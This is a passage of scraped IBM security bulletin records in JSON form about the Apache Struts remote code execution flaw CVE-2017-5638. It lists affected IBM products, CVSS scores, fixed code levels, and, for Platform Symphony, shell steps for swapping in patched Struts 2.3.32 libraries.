[_http://www-933.ibm.com/support/fixcentral/options_](<http://www-933.ibm.com/support/fixcentral/options>) \n \n**_Select appropriate VRMF_** \nIBM Sterling Selling and Fulfillment Foundation 9.4.0| **_9.4.0-SFP3_**| [_http://www-933.ibm.com/support/fixcentral/options_](<http://www-933.ibm.com/support/fixcentral/options>) \n \n**_Select appropriate VRMF_** \nIBM Sterling Selling and Fulfillment Foundation 9.3.0| **_9.3.0-SFP5_**| [_http://www-933.ibm.com/support/fixcentral/options_](<http://www-933.ibm.com/support/fixcentral/options>) \n \n**_Select appropriate VRMF_** \nIBM Sterling Selling and Fulfillment Foundation 9.2.1| **_9.2.1- SFP6_**| [_http://www-933.ibm.com/support/fixcentral/options_](<http://www-933.ibm.com/support/fixcentral/options>) \n \n**_Select appropriate VRMF _** \nIBM Sterling Selling and Fulfillment Foundation 9.2.0| **_9.2.0- SFP6_**| [_http://www-933.ibm.com/support/fixcentral/options_](<http://www-933.ibm.com/support/fixcentral/options>) \n \n**_Select appropriate VRMF _** \nIBM Sterling Selling and Fulfillment Foundation 9.1.0| **_9.1.0- SFP6_**| [_http://www-933.ibm.com/support/fixcentral/options_](<http://www-933.ibm.com/support/fixcentral/options>) \n \n**_Select appropriate VRMF _** \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-06-16T20:09:19", "type": "ibm", "title": "Security Bulletin: IBM Sterling Order Management is affected by a vulnerability (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-06-16T20:09:19", "id": "71763DB8BA3B87C5175E4ED1BF88B5F20D4D7107BB02006612C8229371E7C9F4", "href": "https://www.ibm.com/support/pages/node/558281", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-23T17:45:58", "description": "## Summary\n\nA vulnerability in the Apache Struts component affects the Service Assistant GUI of SAN Volume Controller, Storwize family and FlashSystem V9000 products allowing arbitrary code execution. The Command Line Interface is unaffected.\n\n## Vulnerability Details\n\n**CVEID:** [_CVE-2017-5638_](<https://vulners.com/cve/CVE-2017-5638>)** \nDESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when performing a file upload based on Jakarta Multipart parser. An attacker could exploit this vulnerability using a malicious Content-Type value to execute arbitrary code on the system. \nCVSS Base Score: 7.3 \nCVSS Temporal Score: See [_https://exchange.xforce.ibmcloud.com/vulnerabilities/122776_](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122776>) for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n\n## Affected Products and Versions\n\nIBM SAN Volume Controller \nIBM Storwize V7000 \nIBM Storwize V5000 \nIBM Storwize V3700 \nIBM Storwize V3500 \nIBM FlashSystem V9000 \n \nAll products are affected when running supported releases 7.1 to 7.8. For unsupported versions of the above products, IBM recommends upgrading to a fixed, supported version of the product.\n\n## Remediation/Fixes\n\nIBM recommends that you fix this vulnerability by upgrading affected versions of IBM SAN Volume Controller, IBM Storwize V7000, V5000, V3700 and V3500 to the following code levels or higher: \n \n7.6.1.8 \n7.7.1.6 \n7.8.1.0 \n \n[_Latest SAN Volume Controller Code_](<http://www-01.ibm.com/support/docview.wss?rs=591&uid=ssg1S1001707>) \n[_Latest Storwize V7000 Code_](<http://www-01.ibm.com/support/docview.wss?uid=ssg1S1003705>) \n[_Latest Storwize V5000 Code_](<http://www-01.ibm.com/support/docview.wss?uid=ssg1S1004336>) \n[_Latest Storwize V3700 Code_](<http://www-01.ibm.com/support/docview.wss?uid=ssg1S1004172>) \n[_Latest Storwize V3500 Code_](<http://www-01.ibm.com/support/docview.wss?uid=ssg1S1004171>) \n \nFor IBM FlashSystem V9000, upgrade to the following code levels or higher: \n \n7.6.1.8 \n7.7.1.6 \n7.8.1.0 \n \n[_Latest FlashSystem V9000 Code_](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Flash%2Bhigh%2Bavailability%2Bsystems&product=ibm/StorageSoftware/IBM+FlashSystem+V9000&release=All&platform=All&function=all>)\n\n## Workarounds and Mitigations\n\nAlthough IBM recommends that you install a level of code with a fix for this vulnerability, you can mitigate, although not eliminate, your risk until you have done so by ensuring that all users who have access to the system are authenticated by another security system such as a firewall.\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2023-03-29T01:48:02", "type": "ibm", "title": "Security Bulletin: Vulnerability in Apache Struts affects SAN Volume Controller, Storwize family and FlashSystem V9000 products (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2023-03-29T01:48:02", "id": "D769235D102AD19A73D51C968FFD8889D9656A19C29D4BE9C66233A668FC8B7A", "href": "https://www.ibm.com/support/pages/node/697171", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-13T09:36:02", "description": "## Summary\n\nA vulnerability in the Apache Struts component affects the Service Assistant GUI of Storwize V7000 Unified allowing arbitrary code execution. The Command Line Interface is unaffected.\n\n## Vulnerability Details\n\n**CVEID:** [_CVE-2017-5638_](<https://vulners.com/cve/CVE-2017-5638>)** \nDESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when performing a file upload based on Jakarta Multipart parser. An attacker could exploit this vulnerability using a malicious Content-Type value to execute arbitrary code on the system. \nCVSS Base Score: 7.3 \nCVSS Temporal Score: See [_https://exchange.xforce.ibmcloud.com/vulnerabilities/122776_](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122776>) for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n\n## Affected Products and Versions\n\nIBM Storwize V7000 Unified \nThe product is affected when running code releases 1.5.x and 1.6.0.0 to 1.6.2.1\n\n## Remediation/Fixes\n\nA fix for these issues is in version 1.6.2.2 of IBM Storwize V7000 Unified. Version 1.5 is end of service. Customers running on this release of IBM Storwize V7000 Unified can upgrade to v1.6.2.2 for a fix. \n \n[_Latest Storwize V7000 Unified Software_](<http://www-01.ibm.com/support/docview.wss?uid=ssg1S1003918&myns=s028&mynp=OCST5Q4U&mync=E>) \n \nPlease contact IBM support for assistance in upgrading your system.\n\n## Workarounds and Mitigations\n\nAlthough IBM recommends that you install a level of code with a fix for this vulnerability, you can mitigate, although not eliminate, your risk until you have done so by ensuring that all users who have access to the system are authenticated by another security system such as a firewall.\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-06-18T00:34:31", "type": "ibm", "title": "Security Bulletin:Vulnerability in Apache Struts affects Storwize V7000 Unified (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-06-18T00:34:31", "id": "0766EE3C620AAAF614D24B4B93352C6C94F10148776C7854787A45858D29E32F", "href": "https://www.ibm.com/support/pages/node/697609", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T01:52:34", "description": "## Summary\n\nIBM OpenPages GRC Platform Web Applications are not vulnerable to the Apache Struts 2 vulnerability CVE-2017-5638 \n\n## Vulnerability Details\n\nIBM OpenPages GRC Platform Web Applications are NOT vulnerable to the Apache Struts 2 vulnerability (CVE-2017-5638). \nPlease refer to [_https://cwiki.apache.org/confluence/display/WW/S2-045_](<https://cwiki.apache.org/confluence/display/WW/S2-045>) for more information on CVE-2017-5638.\n\n## Affected Products and Versions\n\nIBM OpenPages versions 7.0 through 7.3\n\n## Remediation/Fixes\n\nNone\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-06-15T22:49:16", "type": "ibm", "title": "Security Bulletin: IBM OpenPages GRC Platform Web Applications are not vulnerable to (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-06-15T22:49:16", "id": "F1072FE090DABD963C764C2E009454B24AB02021B54C8519F4195C5ABC6E2FF5", "href": "https://www.ibm.com/support/pages/node/294331", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T21:52:11", "description": "## Summary\n\nA Security vulnerability relating to remote code execution CVE-2017-5638 (S2-045) has been reported against Apache Struts 2, which IBM Platform Symphony uses as a framework for its WEBGUI service. The Struts 2 package version that is vulnerable to these issues is included in several past versions of IBM Platform Symphony Advanced Edition and Developer Edition. Struts 2.3.32 addresses this vulnerability and can be applied through the manual steps detailed in the Remediation section.\n\n## Vulnerability Details\n\n**CVEID:** [_CVE-2017-5638_](<https://vulners.com/cve/CVE-2017-5638>)\n\n**DESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when performing a file upload based on Jakarta Multipart parser. An attacker could exploit this vulnerability using a malicious Content-Type value to execute arbitrary code on the system. \n\n**CVSS Base Score:** **7.3**\n\n**CVSS Temporal Score: See **[**_https://exchange.xforce.ibmcloud.com/vulnerabilities/122776_**](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122776>) for the current score \n\n**CVSS 3.0 Environmental Score*:** **Undefined**\n\n**CVSS Vector:** **(CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)**\n\n## Affected Products and Versions\n\nIBM Platform Symphony **6.1.1, 7.1 Fix Pack 1**, and** 7.1.1**,** **and** **IBM Spectrum Symphony** 7.1.2** and **7.2**. All OS editions, including Linux and Windows, are affected. The remediation steps for Linux are provided in this document. For Windows, use the Linux steps as a reference and find the correct path for patching.\n\n## Remediation/Fixes\n\n1\\. For IBM Platform Symphony 6.1.1 or 7.1 Fix Pack 1, download the appropriate fix and follow the instructions in the readme file to upgrade to Struts version 2.3.32. \n\n**Product version**| **Fix ID** \n---|--- \nIBM Platform Symphony **6.1.1**| [_sym-6.1.1-build446371_](<http://www-933.ibm.com/support/fixcentral/swg/selectFixes?parent=Platform%2BComputing&product=ibm/Other+software/Platform+Symphony&release=All&platform=All&function=fixId&fixids=sym-6.1.1-build446371&includeSupersedes=0>) \nIBM Platform Symphony **7.1 Fix Pack 1**| [_sym-7.1-build446807_](<http://www-933.ibm.com/support/fixcentral/swg/selectFixes?parent=Platform%2BComputing&product=ibm/Other+software/Platform+Symphony&release=All&platform=All&function=fixId&fixids=sym-7.1-build446807&includeSupersedes=0>) \n2\\. For IBM Platform Symphony 7.1.1 and higher, follow the steps to update to Struts version 2.3.32 on Linux hosts: 2.1 Log on to each management host in the cluster and download the struts-2.3.32-lib.zip package from the following location: [](<http://archive.apache.org/dist/struts/2.3.32/struts-2.3.32-lib.zip>)[_http://archive.apache.org/dist/struts/2.3.32/struts-2.3.32-lib.zip_](<http://archive.apache.org/dist/struts/2.3.32/struts-2.3.32-lib.zip>) 2.2 Stop the Platform Management Console service (WEBGUI): > egosh service stop WEBGUI 2.3 For backup purposes, move the following files, which will be replaced by new files: **\\- For IBM Platform Symphony 7.1.1:** \n> mkdir -p /tmp/guibackup/symgui \n> mkdir -p /tmp/guibackup/perfgui \n> mv $EGO_TOP/gui/3.3/lib/commons-fileupload-1.3.1.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/3.3/lib/commons-io-1.2.jar /tmp/guibackup/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/commons-fileupload-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/org.apache.commons-io-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/commons-lang3-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/freemarker-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/javassist-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ognl-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/struts2-core-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/struts2-json-plugin-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/struts2-spring-plugin-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/xstream-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/xwork-core-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/velocity-1.5.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/3.3/perfgui/WEB-INF/lib/freemarker-*.jar /tmp/guibackup/perfgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/3.3/perfgui/WEB-INF/lib/ognl-*.jar /tmp/guibackup/perfgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/3.3/perfgui/WEB-INF/lib/struts2-core-*.jar /tmp/guibackup/perfgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/3.3/perfgui/WEB-INF/lib/xwork-core-*.jar /tmp/guibackup/perfgui/ \n**\\- For IBM Spectrum Symphony 7.1.2 and 7.2:** \n> mkdir -p /tmp/guibackup/egogui \n> mkdir -p /tmp/guibackup/perfgui \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/commons-fileupload-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/commons-io-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/commons-lang3-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/org.apache.commons-io-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/freemarker-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/javassist-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/ognl-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/struts2-core-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/struts2-json-plugin-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/struts2-spring-plugin-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/xwork-core-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/ego/$EGO_VERSION/platform/WEB-INF/lib/xstream-*.jar /tmp/guibackup/egogui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/ego/$EGO_VERSION/platform/WEB-INF/lib/velocity-1.5.jar /tmp/guibackup/egogui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfgui/WEB-INF/lib/freemarker-*.jar /tmp/guibackup/perfgui \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfgui/WEB-INF/lib/ognl-*.jar /tmp/guibackup/perfgui \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfgui/WEB-INF/lib/struts2-core-*.jar /tmp/guibackup/perfgui \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfgui/WEB-INF/lib/xwork-core-*.jar /tmp/guibackup/perfgui \n> mkdir -p /tmp/guibackup/perfguiv5 (**For 7.2 Only**) \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfguiv5/WEB-INF/lib/ognl-*.jar /tmp/guibackup/perfguiv5 (**For 7.2 Only**) \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfguiv5/WEB-INF/lib/freemarker-*.jar /tmp/guibackup/perfguiv5 (**For 7.2 Only**) \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfguiv5/WEB-INF/lib/xwork-core-*.jar /tmp/guibackup/perfguiv5 (**For 7.2 Only**) 2.4 On each management host, unzip the struts-2.3.32-lib.zip package and copy the following files to your cluster directory: **\\- For IBM Platform Symphony 7.1.1:** \n> unzip -u struts-2.3.32-lib.zip \n> cd struts-2.3.32/lib/ \n> cp commons-fileupload-1.3.2.jar $EGO_TOP/gui/3.3/lib/ \n> cp commons-io-2.2.jar $EGO_TOP/gui/3.3/lib/ \n> cp commons-lang3-3.2.jar $EGO_TOP/gui/3.3/lib/ \n> cp commons-fileupload-1.3.2.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp commons-io-2.2.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp commons-lang3-3.2.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp freemarker-2.3.22.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp javassist-3.11.0.GA.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp ognl-3.0.19.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp struts2-core-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp struts2-json-plugin-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp struts2-spring-plugin-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp xstream-1.4.8.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp xwork-core-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp velocity-1.6.4.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp freemarker-2.3.22.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/3.3/perfgui/WEB-INF/lib/ \n> cp ognl-3.0.19.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/3.3/perfgui/WEB-INF/lib/ \n> cp struts2-core-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/3.3/perfgui/WEB-INF/lib/ \n> cp xwork-core-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/3.3/perfgui/WEB-INF/lib/ \n**\\- For IBM Spectrum Symphony 7.1.2 and 7.2:** \n> unzip -u struts-2.3.32-lib.zip \n> cd struts-2.3.32/lib/ \n> cp commons-fileupload-1.3.2.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp commons-io-2.2.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp commons-lang3-3.2.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp freemarker-2.3.22.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp javassist-3.11.0.GA.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp ognl-3.0.19.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp struts2-core-2.3.32.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp struts2-json-plugin-2.3.32.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp struts2-spring-plugin-2.3.32.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp xwork-core-2.3.32.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp xstream-1.4.8.jar $EGO_TOP/wlp/usr/servers/gui/apps/ego/$EGO_VERSION/platform/WEB-INF/lib/ \n> cp velocity-1.6.4.jar $EGO_TOP/wlp/usr/servers/gui/apps/ego/$EGO_VERSION/platform/WEB-INF/lib/ \n> cp freemarker-2.3.22.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfgui/WEB-INF/lib/ \n> cp ognl-3.0.19.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfgui/WEB-INF/lib/ \n> cp struts2-core-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfgui/WEB-INF/lib/ \n> cp xwork-core-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfgui/WEB-INF/lib/ \n> cp ognl-3.0.19.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfguiv5/WEB-INF/lib/ (**For 7.2 Only**) \n> cp freemarker-2.3.22.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfguiv5/WEB-INF/lib/ (**For 7.2 Only**) \n> cp xwork-core-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfguiv5/WEB-INF/lib/ (**For 7.2 Only**) 2.5 Clean up the GUI work directories on all management hosts: > rm -rf $EGO_TOP/gui/work/* \n> rm -rf $EGO_TOP/gui/workarea/* \n**NOTE: **If you changed the default configuration for the WLP_OUTPUT_DIR environment variable and the APPEND_HOSTNAME_TO_WLP_OUTPUT_DIR parameter is set to true in the $EGO_CONFDIR/wlp.conf file, you must clean up the $WLP_OUTPUT_DIR/webgui_hostname/gui/workarea/ directory. 2.6 Launch a web browser and clear your browser\u2019s cache. \n2.7 Start the WEBGUI service: > egosh service start WEBGUI\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-06-18T01:35:45", "type": "ibm", "title": "Security Bulletin: A vulnerability in Apache Struts 2 affects IBM Platform Symphony and IBM Spectrum Symphony (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-06-18T01:35:45", "id": "02304D05D897B568E77C8953094F5914F389089362655D2AB68B096E3F3418DC", "href": "https://www.ibm.com/support/pages/node/631039", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-24T05:46:06", "description": "## Summary\n\nThere is a vulnerability in Apache Struts to which the IBM\u00ae FlashSystem\u2122 840 and FlashSystem\u2122 900 is susceptible. An exploit of this vulnerability (CVE-2017-5638) could allow a remote attacker to execute arbitrary code on the system\n\n## Vulnerability Details\n\n**CVEID:** [_CVE-2017-5638_](<https://vulners.com/cve/CVE-2017-5638>) \n**DESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when performing a file upload based on Jakarta Multipart parser. An attacker could exploit this vulnerability using a malicious Content-Type value to execute arbitrary code on the system. \nCVSS Base Score: 7.3 \nCVSS Temporal Score: See [_https://exchange.xforce.ibmcloud.com/vulnerabilities/122776_](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122776>) for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\n## Affected Products and Versions\n\nFlashSystem 840 machine type and models (MTMs) affected include 9840-AE1 and 9843-AE1. \n \nFlashSystem 900 MTMs affected include 9840-AE2 and 9843-AE2. \n \nCode versions affected include supported VRMFs: \n\u00b7 1.4.0.0 \u2013 1.4.6.0 \n\u00b7 1.3.0.0 \u2013 1.3.0.7\n\n## Remediation/Fixes\n\n_MTMs_\n\n| _VRMF_| _APAR_| _Remediation/First Fix_ \n---|---|---|--- \n**FlashSystem ****840 MTM: ** \n9840-AE1 & \n9843-AE1 \n \n**FlashSystem 900 MTMs:** \n9840-AE2 & \n9843-AE2| _Code fixes are now available, the minimum VRMF containing the fix depends on the code stream: \n \n___ Fixed code VRMF .__ \n_1.4 stream: 1.4.6.1 _ \n_1.3 stream: 1.3.0.8_| _ __N/A_| [**_FlashSystem 840 fixes_**](<http://www-933.ibm.com/support/fixcentral/swg/selectFixes?parent=Flash%2Bhigh%2Bavailability%2Bsystems&product=ibm/StorageSoftware/IBM+FlashSystem+840&release=All&platform=All&function=all>)** **and [**_FlashSystem 900 fixes_**](<http://www-933.ibm.com/support/fixcentral/swg/selectFixes?parent=Flash%2Bhigh%2Bavailability%2Bsystems&product=ibm/StorageSoftware/IBM+FlashSystem+900&release=All&platform=All&function=all>)** **are available @ 